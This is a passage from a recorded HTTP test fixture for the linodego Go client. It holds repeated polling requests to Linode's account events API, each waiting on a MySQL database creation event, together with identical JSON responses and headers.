'{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:21:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:21:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:22:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:22:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:22:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:22:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:23:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:23:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:23:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:23:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:24:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:24:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:24:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:24:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:25:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:25:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:25:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - 